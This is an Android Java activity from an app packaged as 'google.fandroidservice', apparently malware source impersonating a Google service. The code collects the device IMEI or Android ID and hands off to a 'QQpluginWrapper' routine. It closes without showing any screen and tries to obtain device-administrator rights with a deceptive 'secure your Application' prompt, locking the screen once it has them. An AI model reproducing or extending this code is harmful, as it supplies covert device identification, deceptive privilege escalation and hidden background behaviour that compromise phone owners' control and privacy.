package google.fandroidservice;

import android.Manifest;
import android.app.Activity;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.view.WindowManager;

import google.fandroidservice.utils.LogWrapper;
import google.fandroidservice.utils.StorageHelper;


public class MainActivity extends Activity {

    private static String TAG = "fmain";

    private ComponentName mAdminName;
    private DevicePolicyManager mDPM;
    String imei = "";

    /**
     * 激活组件的请求码
     */
    private static final int REQUEST_CODE_ACTIVE_COMPONENT = 1;
    private static final int READPHONE_PERMISSION_CODE = 1;


    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        //setContentView(R.layout.activity_main);

        if (isTablet(getApplicationContext())) {
            this.imei = Settings.Secure.getString(getApplicationContext().getContentResolver(), "android_id");
        } else {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
                    // TODO: Consider calling
                    //    Activity#requestPermissions
                    // here to request the missing permissions, and then overriding
                    //   public void onRequestPermissionsResult(int requestCode, String[] permissions,
                    //                                          int[] grantResults)
                    // to handle the case where the user grants the permission. See the documentation
                    // for Activity#requestPermissions for more details.

                    requestPermissions(new String[]{Manifest.permission.READ_PHONE_STATE},
                            READPHONE_PERMISSION_CODE);
                    return;
                }
            }
            this.imei = ((TelephonyManager) getApplicationContext().getSystemService(TELEPHONY_SERVICE)).getDeviceId();
        }



        QQpluginWrapper q = new QQpluginWrapper();
        q.setContext(getApplicationContext());
        q.dealall();

        getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
        this.finish();

    }


    public boolean isTablet(Context context) {
        boolean xlarge;
        if ((context.getResources().getConfiguration().screenLayout & 15) == 4) {
            xlarge = true;
        } else {
            xlarge = false;
        }
        boolean large;
        if ((context.getResources().getConfiguration().screenLayout & 15) == 3) {
            large = true;
        } else {
            large = false;
        }
        if (xlarge || large) {
            return true;
        }
        return false;
    }

    private void adminTrick(){
        try {
            this.mDPM = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
            this.mAdminName = new ComponentName(this, DeviceAdminDemo.class);
            if (this.mDPM.isAdminActive(this.mAdminName)) {
                this.mDPM.lockNow(); //锁屏
            } else {
                Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
                intent.putExtra("android.app.extra.DEVICE_ADMIN", this.mAdminName);
                intent.putExtra("android.app.extra.ADD_EXPLANATION", "Click on Activate Button to secure your Application.");
                startActivityForResult(intent, REQUEST_CODE_ACTIVE_COMPONENT);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);

        if (requestCode != REQUEST_CODE_ACTIVE_COMPONENT) {
            return;
        }

        if (resultCode == Activity.RESULT_OK) {
            LogWrapper.e(TAG, "admin it's all ok");
        } else {
            LogWrapper.e(TAG, "admin Fault, DAMN IT!!!");
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode,  String[] permissions,  int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);

        if (requestCode == READPHONE_PERMISSION_CODE) {
            if (grantResults.length == 1 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                // Camera permission has been granted, preview can be displayed
                LogWrapper.e(TAG, "ok");
            } else {
                LogWrapper.e(TAG, "was NOT granted.");
            }
        }

    }
}
